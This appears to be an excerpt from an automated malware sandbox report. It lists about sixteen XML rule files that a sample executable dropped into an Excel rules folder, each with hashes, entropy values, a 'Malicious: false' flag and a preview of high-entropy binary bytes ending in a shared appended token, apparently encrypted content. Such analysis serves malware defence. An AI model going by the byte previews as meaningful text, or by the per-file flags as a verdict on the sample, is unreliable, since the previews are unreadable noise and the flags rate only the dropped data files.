Preview:	<?xml..@\Gf.....>...s7<..lFR....m..Z....p.n.v02O.]\p.+!uA:y/.\|.....:g...x...b..v....df.S..'[.c.K.....d5..$...S6...t}..2.] .'..u..k.kcJA.'.Fq....R._..+M....b.'.+..V.O.d..X..;..C.n..5.\.9....s..ko.;.....}9=&\F.nO[.H.5.,.I\|.b:...h./8.hl.^.?..tYX......v2.?.....5S&..Q.M.....f.0<X.Y....L....i...\..i.:..........{..F.....q..O..3...Y.A0}..n..W\|R..<....P..5..&......;...V..:...To...y...H.D0.K)Z..q.#..).N.u..s..@.7e.i....q.X,..,Es.'..e(..nU..\.E.g..e.B<.\|;G.:.n......:..!...(c.">..Y.y.Q..%...!.+(u.<.l...<.!n...{.....-...B..y.o.VrQ....1...p{`k{5.....y.pe>.W.$....d.....l..`!..\|......../W.cC...Y..L.=.ZD!o]....;Xe,{...G....t-zd....ZTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.713660547230846
Encrypted:	false
SSDEEP:	24:Ik1T/i77Dl1KW14uEpz9q5CCePX/KO/BhC9E65mi2w1bD:IwenDl4W145pwUBPCO5h+E65mi2yD
MD5:	1811E9E4C7BA70BFD2247D946B0D6E76
SHA1:	EE862A9335F212D3B80A78A5430CCFAFC66D2190
SHA-256:	4E81AF080D4EDC50E617454479A45DED39FD038AA25BC5E2736011B158034492
SHA-512:	451139A73F0AFC8B2610D8A89B503A75CBD245E868426537B5C1E4B563FD4BFD889CA6D45DB6264EB6798704FDA2FB4BC719C4247EC09F2935272B3EBEAE5E27
Malicious:	false
Preview:	<?xml@.....z9.....,s..>...t.z.M....[.q$....K$=.cI....}l.>.6.9.G\!.\|-".rk......O.6....4>Y..Y=... ..K._...[...CS.y....<.!...v..+.d .I..}.w.. !qu.7...k...PNB.1IN.gf.E....F>..XZ.a.......\.4...:.9tN..&.\.p.r.....,/.......<.xou../.#L:.c....!...I....u.?..Y..b.....~.....)....#]....r5.h.D..A.I..Y..\|..>....j....=...j_.lr.`..{...1.~Pd..:..1.:l.......q...$.......)?...n]!Mtx.8.GT.}.m9).I#;.5N-...... .4...Y.r.U.+...(1..?/?\|.3..w..f..t........YM......&.m.,c...D.3....;e..f^ir.E.p..,...B...e7.:......6.2.w\...33. .r..,...t.}}\|+......8.B..%........u.2.2nI....L..........Q.h/@^<M.....)}..}.....\|...3.~L....#....&:..}..64.3.f....... }.......].Z...t..d<.5...Z.D...tQ;..=&m.V..+F.+Rx..h..\0Cc.U\|x.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.656542280813018
Encrypted:	false
SSDEEP:	12:tBC8OwFDujNeY/Vn7BQyCKgW+bdfpcL3r3I6v7wDFlnLPAYR0cS6ACEoHoqw1ciD:vBpFK1Miglbdf+3LruFdBSbCjw1bD
MD5:	C696C0C8DA59E5A34B7D4FB6541F7E8B
SHA1:	61249252988E833D5394A00460FC48AC388D9354
SHA-256:	9B0467709B29552754A79E668F46515AD4BA4CAAF501E1C00C8FF2D4A54B03FE
SHA-512:	6D63BABBD2920107C2042060890C8FCCD6336080C0A81F4807EC8A69A8E5FAEFAE904C803C37FB4182AB4FB8608F6F62D7E32303B4BE657F9B050292C333E1D2
Malicious:	false
Preview:	<?xml.v.....~...._.D.Mh...^......A+._%.h.!.p{w4.AS1.Y......H..!~.-&p.,..=.k<.<.}5.......O..=B..FB>za...I...Q..$p.X.`r..\|p....R7......Z.I.ct.J...B+'g....=.-...."....>.?6^...I.w`WkrJz...;/........A4<\@H........K...VA`D.&..W.?..]aKk...b.D.e'.A.UW.A.rh.0.....`.\.f....J.]C........`....-........d.Nz...64....k6..k,..,a...I...m5..t..UO..=0..E..n[...;L~..3.h...p.O....J.TCt,H..._-..#%..zs.x.......9.......;LI,..CJ....f)G.......%..Eel.....&%...a/A.8"...(.f:...[G.c............MZ'.e.x,.8e........6.S.x....!..5..........;K.m.V)i.y...@...@.i.M...[Nk..^}9."h...TA..l...`jV..5...'Z.]..;.mv.w...0>.H..a.tpP.t..<~......].....D.....B...h.E.b5..b.i.m!Y3i.8.!=.yJ13......x./TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.683593401926794
Encrypted:	false
SSDEEP:	24:QSYtoMCJOfjHrlW0qDMgD1tN/7jxbFvN681Am8w1bD:QSXMvHW4c1tN/5GyD
MD5:	1541A182131268495653EFBBDBE3D74B
SHA1:	2926B906E31E5661BAC00C069BDE5706B90806B6
SHA-256:	720C691008A48C42724C6A45C60DB93EBA23EB430CB2785CEC5DB52ECCC2D1B8
SHA-512:	DFBC0A796C16258FBBAD967BB0DCE10C29926A6C53A348204F7EB1385EB022F3C49DBC29E67714C2DD979AE1162514F80FBA9BAF6C3FBA1B8A8E7205FA0DEFCC
Malicious:	false
Preview:	<?xmlm.....qXn..a[K.ET,..G....A.g.I.L..H.f'...of.3`..".yr5..$.n..{t...[.3.a[.....mf$...M....xY.M.J.7ZF.}.j.7< ..QQl...R...1......c.o.G.U.!>...B.l.;M...h.Nx..d..W\D.....\.#rR...Kv...6.v}...n.{...?h..>.s.l.&[U"vU....w...#.....g..+.Q..R.5.+.wF.......,p.3...7b%\(E-.b....n=.I....W.2a..7%..`.n.e\|..h......V......5d..9...Mu....v..>A...L.{.V,.\......\.. .#\....!..x..@......C......v.I_.\...Thz'...e........6.......?...>L....`M..(yy.W:.-.........0%..T..W.tt.....PS.q.Ww.q$y..!.=..mg.QV"..'.s;...J...zi.+T>.....I...\|...nCr.)....M...ei..A.......j?....lR.....B.3....f...S......[5..@..s...-..S.....T1.W..2.$hA.Zl.$. .....Z.0........F....f.:>.Jk...].{1..f+.Z=A."=...d.S..,Z...P.oX.[#.*.}....0.Z......gf......_...!]cl4okj....NTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.697142833451668
Encrypted:	false
SSDEEP:	12:z+/Ran2CG/7O834Ie3W+32jgo/IVyLBhYN+MbKi35yT/Pi+nuw96XcQX1BQD4RgO:/GzOQ4Io2giIVyLBu9KiJ2/6zw94c56j
MD5:	E8EC3BBF00BC9C1798FEC65087EFCC00
SHA1:	D3E99051F9ABA2AF8E1E01C751AFEEC25F49FAC0
SHA-256:	45E37FC59A112BD2C5D5D1197388D5CE423E74640C3AB29C93A6A4B0A268E938
SHA-512:	E090813CF3801A2A586B34E432CD78AEC6FC055BA7905F757816BD59668422EC8822FE4BD20E483B14528AE341594E0136BC51FA748E4CF5D7C3C3F0CFFC5A28
Malicious:	false
Preview:	<?xml..}.. .........2..D.8..A..5....s......ku.<Y..\|.,......\.3...<VCBIs(4...)DA....[j.N.$<$#..5.O.....b?..co..(d......P..V...z?.,.....g....H.C;..}..@'......X..U.+..~x..H.2#.jp..Z=.W.Rp.a.,.M.MZ....GB.H....=%.+...J.....%..v.1W.'.%v5.n\$2...586.:C...\|h...\|^..V.#.HF.....k..L.......}....[.]...-C........$.Q..BG...-.....7M)J.....`.`.{...I!....8.....f......"?9.>._dP..T.\.....R+...i.._.@o......:q.....zt..C..'..\........p.....jJ...f.U.6..\|9.I.....DM.{0.K.J....)x.#E.9...&..7.@.(@....?2.o...t...0.mFj4.?d..Vv.&.r.*.F. .5..,Y$v.......x.)..aX.....U...Q{x.).I..$.e..O...s..u(..+...\|.kC.o........Q.~l...f3... ]CdH.O........MG...3...H..N?.L.w....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.762707463231816
Encrypted:	false
SSDEEP:	12:NM8hJa7HpPjR/3sb03iugVTN44Ea6PdehUobAn9O/80qxOk5wOS0kjjoqw1cii9a:PJApPV/3A0PgVAZTU8hz5C0kjTw1bD
MD5:	D4514A5A79BAA36FEB067F8FF375162A
SHA1:	7C973B9838CFF8D0CB1EF855B3E3DA750B1C3BF3
SHA-256:	EEA138492700EAF9022532AE539DEAD11FFA839DC52315A5A5287B392695528E
SHA-512:	F6DD4F7FD4A4F3F0BF2CFC2479A7549FA3CB1A1561A5915F5DD8DF1282CAF63A9E61B431E1CE4FF3069594CF1385FDC6A9BB2759484C27A3FA3B98DFEE6B9988
Malicious:	false
Preview:	<?xml.L.S...#.\|.-\..\.G.+.hr.i...K./....O}...0I7.j.K.H.'..*$.[.0..{q.$.F...].eD.....b....I4..d!........19..0C....T..\.(y.+.!.V.b.L./.v1...y;&....a.....:.T~T......R$_.{...J....m....&..J.A.......;<....n.\c\..e.gz.'..=....b&..Wj.I.`...J..B......yB.F.....@B.'..Q.t...".g.$../......fI..l.W.VD.<.._x..........i9..f.-..\|...4....6..i.He.CZ'h......2...D..Y.....~....+.I.....2.k....%.=4.U. rZt...j..5........N...`.......a>A......`.9._Q.E......(.h....].....".,.fi^[.U..r..0......]....D.\%;..S5...A.....z....dGy]..C..... .E...y9.]6]c...u..C..S..LT....w`....G>&.m........bI.i.7..!....M.R...gCE......R..?F......B6.m..!...f.......I1.,R.&..o4......a.&f].......pnR).M.lL......r..Y9....w...".<]..........TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.635029269668126
Encrypted:	false
SSDEEP:	12:c62GHDcVUKZFh53OOpm79iRx2n34P2xYxbChAcpAlegLhwql/ULZAOQ15t8XVPt5:c6CiKT7jpm7sRx2oP2iYAcp0LPyLmOQI
MD5:	000AB3356A8B1CBE56D544AC10448A0B
SHA1:	78540A7FB4528285185843E417CF7088F5F82986
SHA-256:	7D8B9C859E24728383078C677B9C6BB66682FF88D77FAC048ADD87A6802730EF
SHA-512:	5FA863ED6BB513A021421EAFCDA7C95A5C27A2B3549AC8A862E48F39E2AEA395E6F55E7AA60C30E6701DA84D7174858A4C71CF107888C105F1EDF7CC55A9333B
Malicious:	false
Preview:	<?xmlb;X..Q......i....@.r......>..dz.QO.w.c......o.G...\.....C.$..di`F.....@Hg..\|I. ....F].].+y..7.d=.C"...T...JU%.$.m....*....r..?...+3f...b5....tO..@P.k.......+..z...r4l.G.y...6.%........_......m....1A.u.+..[M.D.L....7..f+...b"........k..>.I..>CuI...2.L......%..1M_..@.......U0.T..0dj.@qr.\d..U[J..m..m......d...u._....L]yI.mh..-....X....u..Vx{8..F.d.J/....o#C@.Jc.>.\|.7......>......M...%D.[$k9.n..p)..8@..o..'85.i}%.STi%......_H.+.1....(..A.2d..........`.s).....T...g..Xi_....I..D]zyLe..b..2..T<'$b.U.-g.r7..'........3.;Wi..~.....!.(f.VN=.........~_.].->..&.?.._.JR\.....d0.D.]i....p'Q..B_..yW.0S...}.....d.Bk...)....k.$._.....7TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.706001129867311
Encrypted:	false
SSDEEP:	24:AdEYI35718n62wxAysfSgV0VsMpUL/VhNmw1bD:4EDojwSysKgA+LVhNmyD
MD5:	C7358BCEF3BFD669009E3793C3141D4B
SHA1:	74B25C56BCD220E7F542EF10E9D3072A688198B3
SHA-256:	DDAC7F54E7B56E1B2A3C196D00AB9B1C145F46FFAE293FACB2F7ACFCD6AD3A67
SHA-512:	D394714077A0BC57EA7DBDC386407BA534D44050E5374CA1A2A69323D3C73CFA014731F6B85553D912DD5062A0D58A54AC3013CEEEDBEE448CF534C52D5A2226
Malicious:	false
Preview:	<?xml.].&..8....D.9..dE<..a.i..U........4.u.....h[...Z..vA%.$..h....sw...u.D..5@ .R#...TjT....m........Q..6l.hP......I1ux..A.[_%M.......M.L@...\|).$Dp.....v<..`\J.h.J..[.8G#...>.J...VXn'v.5,.l....7..[CWv.......s....6....z...K...S..oeB1.z..?.,...h!..Wa.r}#H_....2..i.VeZz....6.#.I..9.V..)nm.%n<b\.1..N.r^...;..~X..z..j../\..B......z..`..0...zi.....}.y..0(D.:!..y.KP.....`....f...6.?.c.4..a.!.{..3.sG....}Z.:.).J..`y@.P.......a.]....u..........p....g..^.U"?[......<.G.`.j.....F?...=s.}.y..Y...~..}..r....}..`Ob<....%..r.L......Gg.u../#.WG.....,[>.......,.^.{..n1y..:..D.....-/.{...m.P..A..... .^...PP.ar...4Z.j...S....^y..\S....J.N.X..s..A.=.....eM1...b.f.0....lJ'K.!...#..N.I...`ox..9..X......=.Q.....<+..k.C..-uw.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.697842847779361
Encrypted:	false
SSDEEP:	12:+v4gp+PCz9m2TqzEbf5s6KCaymoxrF3AY9pqHyn8Anks+/DsUL1U5wkIDHYoqw1X:+gZazvTpf5s6RaOxrqGpqU8Ank/wULTn
MD5:	BD4716018A48B9B208D289CED58E38EF
SHA1:	BDCCA4C7B02468A089E2149A8ACBAD12B0B3FE6B
SHA-256:	B58502875D7FA92327102E5A59B6026E079CCC6AA432E31FB922F7C2B54298D8
SHA-512:	37FA064FA8FCECA0F0B32D1C67AC344D91C9339F66C0A8AA81E20212E24EA5442761846968ACB3BC751CA4382248A7789DCC5B3287F5665536192AA3B0732F94
Malicious:	false
Preview:	<?xmld.q..e..zW8Oy..P..3.D.]..D...2.db..j...h..HYa.?A.....#......L...L..g..p..&......%....3"..."......$.N]M..N.....(w%[.H._d......RI.....N.c\|.^..m.>.\|%.<...gJ`..B;.$E....}".V(.I.he.D...^.PI.H...<.z.m0d.....).gG..........It.J.c...E..........I...\|j....j.....s..@..]M.~\|).0....L.E..UY......t!......U.\?...^.G.....;.5UC....h.... .B...gV.{..{.........^P.Mw......r...j<......N...-c....h.&.f.tQ..gk..J....Gb.-.C...Al......n...yZ.....K......`...Kw-.....;.I....Igygx..#.%....H.A...........U.e)"Y.(...7U.[Lg2..69.^.V!l.QA.3...\|.A.y.I..=t...p....q..NS._x./j..6...B....(.k..H. q.%...{...D..x.]....;.8..*=.........0...N..dQ@u..G....n....R._.9....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.697216634774856
Encrypted:	false
SSDEEP:	12:LSdbfJnZNVS9P8fHuDX5CKMtpLRlemAPyGwADkfr4CykNt4+c/gn8Pdg0MPoqw1X:L4bfHzyvDX5CK6kPy/Pr4WeYAbqw1bD
MD5:	C4F38A36201731D19FC059A404FB17AB
SHA1:	8A023B2B550AADBC4F03783C9C903A8DAE360479
SHA-256:	66CE7C74B30FAA3B9ECACB6C585897613D59BF5054934D57C2053CAE812B169E
SHA-512:	B6617EE8E15BC8E90648193B786FE770C3791C8FF1848388D30B2A9D5E8C43A210CB0B03EE7EEE2366764CB2466C8525B20D53279626E26BB702921A12E9F44B
Malicious:	false
Preview:	<?xml.&Ah..S.....=[..........]f..a..........q.fOR..1..-8.iY67:.h.Z\.)...]#....p.3.M.F.0[.4;.rq.xf..8F-...Y.?l..9.M....o[Wb\.........i,....9.(.Q...=.F8..f[[.......$.:....dA\M.?.2.......5(..$.......F1.e......E.5.m0}.a..1,......7h... ......l.~..<........<.EwJi...#.Q+...L...u...5....`...xW.........K.X..../0.(\B...WfQ..S...clpDB...mX....,.@.R_d.9.P.S.Z2M....@K.X.L.$..m..c......8U....#........l....)..:.6[4_...l>.H@T.b......8..\I..f."...g\|.3..}..n.\|..f).G]z(.....Q../Pn.N8...6...a#=.C.Y1........ ../.6..c.q...l.6.."..)..>.W...m.v..~......7.8.=.t...]\|`.e.>d3.D.w...QfY..J.d]f.......a$y.lq.QD...1V...z;.B(.79.'...H.+.A(..5bu.,$...6k.p..."@.b_x[J...~...{...5}x.m..6.C....Ae....H..ta.q-..xQTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.6695618302465425
Encrypted:	false
SSDEEP:	12:kwd4SW3f/u93c632TK67Ty/V6UHgrSp9Q5YRkhpnLY7ZWkhQ4e+f2qewRqPOvKXu:r6SWc3SK6XsB9PAMfJesrekqPOv0ObtZ
MD5:	90CE392448A793BD780229249E83E22F
SHA1:	1C67A216E5EE6622E05304C20821B5490581F0BD
SHA-256:	E6495B87EA399070C05667D1705CF9075C7EFD1A708D191BC7E51F8D509A0E5C
SHA-512:	60A35E6E668B606A13EB02C37D5957BF7AF090CEA499E9ADB569EDE62EADC1F58F6193864275B957EDFC1082BA87BA13A5C60C582CE0EB82FCD33FB32EDC06C5
Malicious:	false
Preview:	<?xml.q.... .(..u..[V....]..i....7.N...b...{c-..../.]..J`z6O..U........b........X.E..Z...}........{....C6l\|w..c..l.1[%T..E.-F...;.H...r..q.7.ZOvV.2.!.~G....h._.%...+.7...],...k.^{).&.g..c. ..B.b...e....T....C.dk...`y.....iC.g..tNF<...S.C.^'.&k.c...Y.G}C.%..?.,.].....`Ue6~$..p...Vd..- :...{..t'I.R..7.$..X...w.%.'.C.{....Cx.`.<..E7..E......g.,..."....G..U9._.Q.3...E..5.g....X`Ltp..4i@S.rB.D.g(u"?...\.qq."M .J._...v.d../..40.9.\..grC\|............c...N.r.q....J....G8_.A.}.&..P..~..$g$....9M....Uq...t.......;,"/i.o].W..;...7....W..1......\.hU..6.5...a..6..9..=...oI...d$..c)....55.2....9.p...:....9.....^Uu...!i.m.c..1.A.....G.P=.....6.k.j-..M[>D.#..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.677197329740384
Encrypted:	false
SSDEEP:	24:Ot5CbEcdqHh4yNN0azBMnl3/qDZUnTU9w1bD:weR3emCUnTU9yD
MD5:	9872489143C387B0902F20917256B605
SHA1:	0657359EA31925CBEB47419D9F46418BFC70874C
SHA-256:	9D19517D59478F7A5B231E4A9948352B46E31B07FAC52566791E2B51FB7F3185
SHA-512:	83A0FCD0961DBE65C0E29ABDA839EC6E24AE8A0DE64CB2F6C7E79982069DF34BD2B0AB87D59EC2D7F5A1D7D9595B835EC2FBE4673D4AEA59990A902A89054652
Malicious:	false
Preview:	<?xml.........E....L...Fc.&.~VB...J.3A..c..5j3.....w..DES...FXX..`.FI...Z..ml....VJ..cb.u..W....3...Y.I..KkE].5#t<./.l.sY.C......C.S..:b1..F. .G..:.[..\|}.M8.$K.(z...".=/@..m.3[k....\|vF&..B._8}.'6L>......Q....g...T.8....k}...bf....x..q.....-o....k...[..C.F/95G.g\..xE.U.8..Z.:....eDe.u.EVWlAA{.1..uj<.............e)b$.Bn.r-{RW..2.6......w7ko....,.......j...z4.KA.......:.Si..y.A...U.w......"=.V.c.k..Q..$.{.[G%e3.<..9.k6....Ca.(.fvt....u=R.....;..C^.K.. .U..e.....N.06.t_...S4s.\.!p.-...-........5.eCv...<..R...NM...K.(wI..Q..i.....aq.?..)J.....r.......1au.r%....,:.M..J3.s.....g.rv;.....3.@...Q...,.m.$...}!.Y7...=.e..O\|@.6aS...!2X};`s......w..)R{?..6 .......q..bM...[}..c\|.,.vNB...'..B..2. ...zU.g8......TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.703739468249838
Encrypted:	false
SSDEEP:	12:urvT04x569stkMmVl6iIoo6ifVHBXaWpt4IPhAGauAvScwNd5Dwi9IFxrzCHoqwd:0xsl6iIoaVH1aWBHaZqFd5DwiqLzCXwd
MD5:	788E17FEB686664E09C59915088F42C8
SHA1:	FBC622CA4AFF4DD64FA96FC807360A72DE9016FA
SHA-256:	CD2824C37AF21096EE99E6C9E2C3E12D72EEA949A28EBFCB6E7D4D2CA158DE6A
SHA-512:	E8CAAF22A6D074E43A71BF34F5BC7FB9713050A0020D3CB1ABEDE4D5D19E40A46AFCD80B95F089D3E3398189FD6EE83A7FEBDEF424FAB341F0104F74D9C6397D
Malicious:	false
Preview:	<?xml.....X!.L,..r....&.QI../XS}.V....0..^...u^.ZTtq.1...?...F.9.i.N....G.xm.....4.....5.Y.(..zx.....Z..'}.\A.....U...).T.....zZ.,...u.A....Lbny?w.k!.%.3...D.5......%..MQ...9.#...ds....h.`.R.O_fRm.X..;.....W...'t...e..._...t..j(.hW.\.......f.....8...?.1_:5.C w.U..B.......RA._..S>Us&.3..o...'.7..U..\.$....h.i!.o..~......V...g@[.D.4.}A@..e.....=.~W.$C1.4.F......H..U?.n6.b...q............!...@..#.=QC~WR\..d9..$>"..b\|/....4..~..)^..$..e..e..I ..%...R.T3B.~...N...<..f...<iH.. v$.....G.......#6a7..J....p..y..y...Q..N..s..9&/vG..9.....;K(.U...V...!.q..\..'M....\5.u#..:E;...~.]?8.m4...L.8e....d.N.g.....].....-............icr.N...o....`...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.686430946479378
Encrypted:	false
SSDEEP:	24:l45D3tj48WsuBq2LImq7br9aYml4CagcZOaSw1bD:sDdjbeq2LzGsYE49FSyD
MD5:	04D6E6EC844E8718930B815648CD21A0
SHA1:	7C162F45269F6D5F634113E2C569352F711F14B5
SHA-256:	36D9868DF9F10A2583B6BA2D8BE178A68F617C2724156653CA427E49D56F3D20
SHA-512:	B6BDA4FD56336E4388968CCC064228E55EDCC7CBDFC49B0D2FECA1454F32B876D83BC041BC553AAB15FD6D2D035406FE58343B96DB698193CDA4EE6AB81704D4
Malicious:	false
Preview:	<?xml.....M....i.......?{.3.k.."...5q....w>...59.T.B...tz...(.7. .y...;.AT+....7.@.).>...h......7.....1.......V.^.......$.......2q..T...GU....frFd.....DF]e.r.N./0..D~.[$.3.F..'.%..I2.4.{..m..Tg..I..W.<-".K..e..A..-.F.E....h...i ..I]V.r ..%p.M.7{^k...X..T.d..=...9k..v.....v...'.@.^^.....".k....?U=.Bp.........c,Q.x@%..W..=..`..M....>5.RN..1...F?!...~....G....h.z.&....lR.n.x..5..i.Rg`.a.^.m......+.2.@#."k/...+..VL...mFKm.g...8.cHL..=..%B..$.ns...#.j.-}..t.X...G9N...?..vvKD:f.`5e..L...!.%..MO5..so...B..B........t$.N.A...........u.....Wg.h...qS.v...S{.B./.-f.....?r.W....W@........a._.i7.T9.\.i:$.a5..(.A.<..#.g.'..9.:t..8...Z.sQ6.6...5:.F..I...p.....SU..y.W...ZX....0.=8+......`.... ...:Ai-23.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.673593159281821
Encrypted:	false
SSDEEP:	12:H63ogfVflN4gn+pDc1NLGfP0ZfcG+lV3ISVGweyfVqapShGPIEdqYIlF60dM6/h7:uowVflNC8202GaV3ISVeyfVlpSQw+qZJ
MD5:	93387C8815AF251D969F794F4CA67FF6
SHA1:	7A4F6B1DCC6C736DEA97A946E40A4701D6EC2A70
SHA-256:	3B674A8B00FEC190F55A07B74A9BB8AE0CF0DE9214EFB5490F38091D5859989A
SHA-512:	7A92FA45BDD41B60A9AA52F61CBCDC560D7517859689DABD71F20E2B56CD47B0A7AB65E775FCFEABAD72DFD5E5A70351B7AFD4AD9FE3384D799EF2439A66F31E
Malicious:	false
Preview:	<?xml.#._.\|..y.....Q"..M.....,........G7..@...2.....I..O......T..k.A..b..... J.+.U.U.`'...a.Jqp.p@.d.@...m..w:.H.-H..w.&}P...r+..2X7.V...j..."f.,......!q..P....b..h_.L.(J..m;. ..:%\.A..oG....hp .Ch.n...#\|U.....s.....a]...../.R.Dyd.Q.w2X..._...3-p..5....~v..k.}.+^z..1@.......e>.....M..b..<.d.].....4fa.jz...v1FXk6..M.....\|B.x.H9.0..L...g.b..J..............CT..PKnnx.ge@..i+{m_..-8$....S..).].O.a.S.>....Wv..g..9.......-..ma..v..OR".....X%......U.]....4.G......zRY..s.....ns.2,#..A.......w./..h.>..o}..ST.{.......fF...A.......).....k...o..Y..A.}/....e.\.{.5.#.e.. f.2..{I.0....D........_......Z....&y.......l.....?X..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.710921373778001
Encrypted:	false
SSDEEP:	12:aRHJj2lIfuI8xQsEfkl+5+OSApCm6GorbCH6gnRCacpBgg7vfkZU9DsGPuQsINoB:aRpjGIBUKPovCBnRNcpLfvvjsww1bD
MD5:	9F6F4561EEED603EA10C4B35EA56021D
SHA1:	34686320CB9A62ACF780067C56E91B73373C873D
SHA-256:	91D9E9F8207DB6F910112A1591AAD27FB29659EE60A90B57484853888852E7DE
SHA-512:	DDC70F16B9BFE18B1AE6C225BF865F0CF23CE940D30676E7A9CA50551867CC4AB340AA68DD4C9FD9634E1F8F6A6AB2362F3CB675FA992AD136948E496803017B
Malicious:	false
Preview:	<?xml3iX.A..aI..A..YO.D..J{.Iz{.(.W.\.....6u.{..u,.'.l:....C...'f...X.L\V.=./.........0..7.'.&l~`&j.p5..;.n"...V.f....@..m}..Z......8..,....Rd.y."H.e9.....fVn$.L..Id..0G......k..L.d`.VX=9.v..jg#G.v..k..........;.j......SeUe@.....E.&.1.Z1.$a....o...Ye.&!U..R..ZPf..@CX....5pL$.{...9..\|?..f.?..z.O.D.>w._.,..;......_.q.z.Y.FF......&..\|re.}......J.......b....?..,..w@g..'..AX{.,..K..e.eJ..t...x.. ..&..pk.wH...8...0z.s.....].....6_%.T7u...<..^.....k.....X9.+...`.....Ig..(......t3j...uf{...4d.K...Ok.:0.w.M.Z....j..r.........r.....r.N...T...t.m".M .....}rt.=....>N.`.vU.....A.:....s.......9.G.r.k.2.^.<j.8R.S&Ap... ;..*]A..\|.8.=..:<.V.y1...&......?.A...v..o..%....3.j5.<../^^.}J.....\.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml

Download File

